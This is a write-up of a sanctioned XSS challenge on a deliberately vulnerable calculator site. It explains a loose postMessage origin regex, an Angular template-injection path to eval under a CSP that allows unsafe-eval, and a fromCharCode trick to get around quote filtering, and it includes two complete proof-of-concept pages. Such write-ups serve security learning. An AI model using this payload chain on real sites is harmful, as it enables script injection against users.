BugPoC's "Buggy Calculator" XSS Challenge
Introduction
BugPoC's "Buggy Calculator" challenge was active from the 7th of August until the 12th of August. There was $2,000 of prize money involved in this challenge, so I started playing as soon as I heard about it. It took me around 2 hours to complete, and I was the 2nd person to solve it.
The challenge rules were:
- Must alert(document.domain), showing calc.buggywebsite.com
- Must bypass CSP
- Must be reproducible using the latest version of Chrome
- Must provide a working proof-of-concept on bugpoc.com
- $500 to 1st valid submission
- $400 to 2nd valid submission
- $300 to 3rd valid submission
- $200 to best blog write-up
- $100 to 6 raffle winners
Recon
I loaded http://calc.buggywebsite.com in Firefox, and this is what I saw:
After testing the calculator, I pressed CTRL+U to view the page's HTML. A few lines interested me.
The Content Security Policy:
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">
For me, the most important part of this policy was the script-src
directive. It forbids inline and external (e.g. from a different origin) scripts from being loaded/executed. One thing to note is that 'unsafe-eval'
permits strings to be evaluated as JavaScript code by the likes of eval
and Function
(the function constructor) - this will be important later on.
The scripts:
<script src="angular.min.js"></script>
<script src="jquery.min.js"></script>
<script src="script.js"></script>
As you can see, the page loads Angular, jQuery, and some custom-built code. I had never even interacted with Angular before, but I had a feeling that it'd play a role in the solution. I had a small look at angular.min.js
- at the top of the file lay a comment stating "v1.5.6" as the Angular version. I could not find any obvious info about XSS-related vulnerabilities in this version of Angular, so I moved on. I skipped over jquery.min.js
as I doubted that anything of relevance would be in there. Then, I opened up script.js
. Here are its contents:
var app = angular.module('Calculator', []);
app.controller('DisplayController', ['$scope', function($scope) {
$scope.display = "";
}]);
app.controller('ArthmeticController', ['$scope', function($scope){
$scope.operatorLastUsed = false;
$scope.equation = "0";
$scope.isFloat = false;
$scope.isInit = true;
$scope.isOff = false;
$scope.concatOperator = function(operator) {
if(operator === 'AC')
{
$scope.equation = "0";
$scope.isInit = true;
}
else
{
if(!$scope.equation[$scope.equation.length - 1].match(/[-+*\/]/))
{
$scope.equation += operator;
$scope.isFloat = false;
}
}
sendEquation($scope.equation);
}
$scope.command = function(command) {
if(command === 'Off')
{
if($scope.isOff === false)
{
$(".display").css("color", '#95A799');
sendEquation('off');
$("button:contains('OFF')").text("ON");
$scope.isOff = true;
} else
{
$(".display").css("color", 'black');
sendEquation('on');
$("button:contains('ON')").text("OFF");
$scope.isOff = false;
}
} else if(command === '%')
{
if(!$scope.equation[$scope.equation.length - 1].match('%'))
{
$scope.equation += "%";
}
} else if(command === 'DEL')
{
if($scope.equation.length == 1)
{
$scope.equation = $scope.equation.substring(0,$scope.equation.length - 1);
$scope.equation = "0";
$scope.isInit = true;
} else {
$scope.equation = $scope.equation.substring(0,$scope.equation.length - 1);
}
}
sendEquation($scope.equation);
}
$scope.addDecimal = function() {
$scope.isFloat = true;
$scope.equation += ".";
sendEquation($scope.equation);
}
$scope.updateCurrNum = function(num) {
if($scope.isInit)
{
$scope.equation = num.toString();
$scope.isInit = false;
} else
$scope.equation += num;
sendEquation($scope.equation);
}
$scope.calculate = function() {
$scope.equation = eval($scope.equation).toString();
sendEquation($scope.equation);
}
}]);
function sendEquation(msg){
theiframe.postMessage(msg);
}
On first impressions, I was fairly surprised by the amount of code in the file. After briefly reading through it, I saw the call to eval
in $scope.calculate
(to code running in the Angular scope/controller, the $scope
object is the "global"). I recalled that the Content Security Policy permitted evaluation of strings ('unsafe-eval'
), and theorised that I'd somehow need to reach this eval
call with arbitrary JavaScript code in $scope.equation
.
The iframe
s.
There were two iframe
s, but one of them seemed to be (actually) intended for analytics so I ignored it. This left me with one iframe
to investigate, and it referenced frame.html
.
I decided to view the source of frame.html
, and it turned out to be a very simple page. It essentially conists of a script
element sourcing frame.js
, and a meta
element defining the same Content Security Policy as the default (index.html
) page. This led me to analysing frame.js
, which contains the following:
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event) {
// verify sender is trusted
if (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
return
}
// display message
msg = event.data;
if (msg == 'off') {
document.body.style.color = '#95A799';
} else if (msg == 'on') {
document.body.style.color = 'black';
} else if (!msg.includes("'") && !msg.includes("&")) {
document.body.innerHTML=msg;
}
}
This script, once loaded on frame.html
, adds a message
event listener. Upon receiving a message, the listener attempts to validate the message, and then assigns it to document.body.innerHTML
. This seemed like the "entry-point" for the XSS bug.
One of the first things that I noticed about receiveMessage
was that the origin check is flawed - it does not define where the origin string should end, and the dots (due to being unescaped in a RegExp) were actually wildcards instead of the dot character.
I had great success while testing bypasses in Firefox's developer tools...
...but I didn't know how I'd implement said bypass in the XSS PoC/solution. At the time, I was considering creating a subdomain of a domain that I own, but I decided against it when I realised that the RegExp forced HTTP, and when I had another read of the challenge description and saw that the PoC had to be made on BugPoC. I remember thinking that they probably didn't want me to iframe
my own domain in my solution on BugPoC, so I chose to note down my discovery and come back to it later. After taking my note, I continued reading the receiveMessage
code. I saw the checks comparing the message data to the "off"
and "on"
string literals and I skipped past them because I knew they wouldn't be a problem. Then, I saw the check which only allows document.body
's innerHTML
to be assigned if the message data does not include single-quotes and/or ampersands. At the time of reading the code, I did not consider this to be a big threat but, in hindsight, this check cost a relatively large amount of time for me to bypass.
XSS
Recon had concluded and I was feeling confident. The first thing I did after recon was open frame.html
alongside the source code of index.html
in my browser. I didn't know how to use Angular, so I had the idea of looking at what index.html
does and adapting it. My first test was simple; I switched to my frame.html
tab, opened Firefox's developer tools and typed the following:
document.body.innerHTML = `<div ng-app>{{ 1 + 2 }}</div><script src=angular.min.js></script>`;
I pressed enter and {{ 1 + 2 }}
was not evaluated. I quickly spotted my mistake: script
tags written via the likes of innerHTML
assignment do not run/execute. To work around this, I used an iframe
with the srcdoc
attribute as shown below:
document.body.innerHTML = `<iframe srcdoc="<html><body ng-app>{{ 1 + 2 }}<script src=angular.min.js></script></body></html>"></iframe>`;
After pressing enter this time, I did indeed see 3
shown in the iframe
.
Using an iframe
did mean that I had to use my double-quotes though, which meant that crafting the "alert(document.domain)"
string would be much more difficult. Remember, the message
event listener discards the message if its data includes a single-quote and/or an ampersand.
Next, I started associating what I saw in index.html
with what I saw in script.js
to extract the important details. After a few minutes, I went back to my frame.html
tab and pasted the following in the developer tools:
document.body.innerHTML = `<iframe srcdoc="<html><body ng-app=Calculator><div data-ng-controller=ArthmeticController>{{ equation }}</div><script src=angular.min.js></script><script src=jquery.min.js></script><script src=script.js></script></body></html>"></iframe>`
Here's a quick explaination of the changes and additions:
- I imported
script.js
because I had good reason to believe that it was necessary for solving the challenge (due to theeval
call), andjquery.min.js
because I thought "why not". - I set the first
div
element'sdata-ng-controller
attribute (which could beng-controller
) toArthmeticController
as it's the Angular controller which contains the function with theeval
call. - I set the
body
element'sng-app
attribute toCalculator
because theArthmeticController
is a controller of theCalculator
module, i.e. to access theArthmeticController
, the moduleCalculator
must be specified/selected. - I changed
{{ 1 + 2 }}
to{{ equation }}
to check if I could access theequation
variable in theArthmeticController
controller.
0
, the initial value for the equation
(controller scope) variable, in the iframe
.Moving on, I started making attempts to call
alert(document.domain)
, still using developer tools. Back in script.js
, I saw that the variable being passed to eval
inside calculate
(controller scope) was equation
so I knew that if I could control its value, then I would be extremely close to completing the challenge. I saw that there was a function in the scope of the ArthmeticController
controller named updateCurrNum
(controller scope), which took a value and assigned it to the equation
variable if isInit
, another (controller scope) variable, is truthy (which is guaranteed on the first call). Yes, I could have simply assigned to the equation
variable without the need of that function but I digress... I switched back to my frame.html
tab, and I decided that it was time to test chaining updateCurrNum
(to set the equation
variable) and calculate
(to evaluate the equation
variable, by passing it to eval
). The problem that immediately occurred to me was that I didn't have any way to create the "alert(document.domain)"
string in the actual PoC due to already having used double-quotes, and single-quotes (plus encoded quotes) being checked for. I delayed solving this problem at the time and used single-quotes in my developer tools code for testing purposes - obviously, this is not an option when it comes to actually writing the PoC:
document.body.innerHTML = `<iframe srcdoc="<html><body ng-app=Calculator><div data-ng-controller=ArthmeticController>{{ updateCurrNum('alert(document.domain)'); calculate(); }}</div><script src=angular.min.js></script><script src=jquery.min.js></script><script src=script.js></script></body></html>"></iframe>`
After executing the code, I got an error stating, "theiframe is not defined."
The error was traced back to the sendEquation
function in script.js
, which both updateCurrNum
and calculate
call. I solved this by adding an iframe
with the name
attribute set to theiframe
:
document.body.innerHTML = `<iframe srcdoc="<html><body ng-app=Calculator><iframe name=theiframe src=about:blank></iframe><div data-ng-controller=ArthmeticController>{{ updateCurrNum('alert(document.domain)'); calculate(); }}</div><script src=angular.min.js></script><script src=jquery.min.js></script><script src=script.js></script></body></html>"></iframe>`
With that iframe
in place, accessing theiframe
will result in the new iframe
(named theiframe
)'s contentWindow
, meaning that sendEquation
will be able to successfully call postMessage
on it without errors.
After pressing enter, I got an alert! Now, there were only two problems that I had to solve. The first problem being that I didn't have any way to actually create the "alert(document.domain)"
string, and the second being that I didn't have a proper way to bypass the postMessage
origin check, although I did know how to bypass it.
I started by trying to create the string. I tried a few things like using backticks (`), etc, but none of my attempts worked. I had the idea of building the string by appending characters formed by String.fromCharCode
, but I thought that I couldn't get a reference to that function. String
wasn't in the controller scope, so I thought that my idea of using character codes wouldn't work. I thought that until I realised that strings were in the controller scope - equation
, for example, is initialised as a string ("0"
) - and that I could get a reference to String
by simply accessing the constructor
property of a string. I tested it using the following line:
document.body.innerHTML = `<iframe srcdoc="<html><body ng-app=Calculator><iframe name=theiframe src=about:blank></iframe><div data-ng-controller=ArthmeticController>{{ updateCurrNum(equation.constructor.fromCharCode(97)+equation.constructor.fromCharCode(108)+equation.constructor.fromCharCode(101)+equation.constructor.fromCharCode(114)+equation.constructor.fromCharCode(116)+equation.constructor.fromCharCode(40)+equation.constructor.fromCharCode(100)+equation.constructor.fromCharCode(111)+equation.constructor.fromCharCode(99)+equation.constructor.fromCharCode(117)+equation.constructor.fromCharCode(109)+equation.constructor.fromCharCode(101)+equation.constructor.fromCharCode(110)+equation.constructor.fromCharCode(116)+equation.constructor.fromCharCode(46)+equation.constructor.fromCharCode(100)+equation.constructor.fromCharCode(111)+equation.constructor.fromCharCode(109)+equation.constructor.fromCharCode(97)+equation.constructor.fromCharCode(105)+equation.constructor.fromCharCode(110)+equation.constructor.fromCharCode(41)); calculate(); }}</div><script src=angular.min.js></script><script src=jquery.min.js></script><script src=script.js></script></body></html>"></iframe>`
It's rather lengthy, but it worked!
The last problem I faced was that I didn't have a proper origin check bypass. The solution to this was on BugPoC itself - there is an option to customize the subdomain on which your PoC runs. The feature isn't immediately obvious and I had to look for it, but it is there.
I decided that I'd use http://calcabuggywebsiteacom.web.bugpoc.ninja
to run my PoC on.
All that was left to do was to create a HTML page which sends a message (via postMessage
) to http://calc.buggywebsite.com/frame.html
containing the string assigned to document.body.innerHTML
in the previous code-block.
This is what I produced:
<!DOCTYPE html>
<html>
<head>
<title>PoC</title>
</head>
<body>
<iframe id="iframe" src="http://calc.buggywebsite.com/frame.html"></iframe>
<script>
setTimeout(_ => {
iframe.contentWindow.postMessage(`<iframe srcdoc="<html><body ng-app=Calculator><iframe name=theiframe src=about:blank></iframe><div data-ng-controller=ArthmeticController>{{ updateCurrNum(equation.constructor.fromCharCode(97)+equation.constructor.fromCharCode(108)+equation.constructor.fromCharCode(101)+equation.constructor.fromCharCode(114)+equation.constructor.fromCharCode(116)+equation.constructor.fromCharCode(40)+equation.constructor.fromCharCode(100)+equation.constructor.fromCharCode(111)+equation.constructor.fromCharCode(99)+equation.constructor.fromCharCode(117)+equation.constructor.fromCharCode(109)+equation.constructor.fromCharCode(101)+equation.constructor.fromCharCode(110)+equation.constructor.fromCharCode(116)+equation.constructor.fromCharCode(46)+equation.constructor.fromCharCode(100)+equation.constructor.fromCharCode(111)+equation.constructor.fromCharCode(109)+equation.constructor.fromCharCode(97)+equation.constructor.fromCharCode(105)+equation.constructor.fromCharCode(110)+equation.constructor.fromCharCode(41)); calculate(); }}</div><script src=angular.min.js>${"<"}/script><script src=jquery.min.js>${"<"}/script><script src=script.js>${"<"}/script></body></html>"></iframe>`, "*")
}, 500);
</script>
</body>
</html>
It's not great, but I was trying to get this finished as fast as I possibly could to be one of the first 3 solvers.
I've made a new PoC with some obvious improvements, for example using a load
event handler instead of setTimeout
:
<!DOCTYPE html>
<html>
<head>
<title>PoC</title>
<meta charset="UTF-8" />
<!-- http://calcabuggywebsiteacom.web.bugpoc.ninja -->
</head>
<body>
<script>
let iframe = document.createElement("iframe");
document.body.append(iframe);
iframe.onload = _ => {
iframe.contentWindow.postMessage(`
<iframe srcdoc="<!DOCTYPE html><html><head><meta charset=UTF-8></head><body ng-app=Calculator ng-controller=ArthmeticController><iframe name=theiframe></iframe>{{ equation = equation.constructor.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110, 41); calculate(); }}<script src=angular.min.js>${"<"}/script><script src=jquery.min.js>${"<"}/script><script src=script.js>${"<"}/script></body></html>"></iframe>`, "*");
}
iframe.src = "http://calc.buggywebsite.com/frame.html";
</script>
</body>
</html>
Thanks for reading!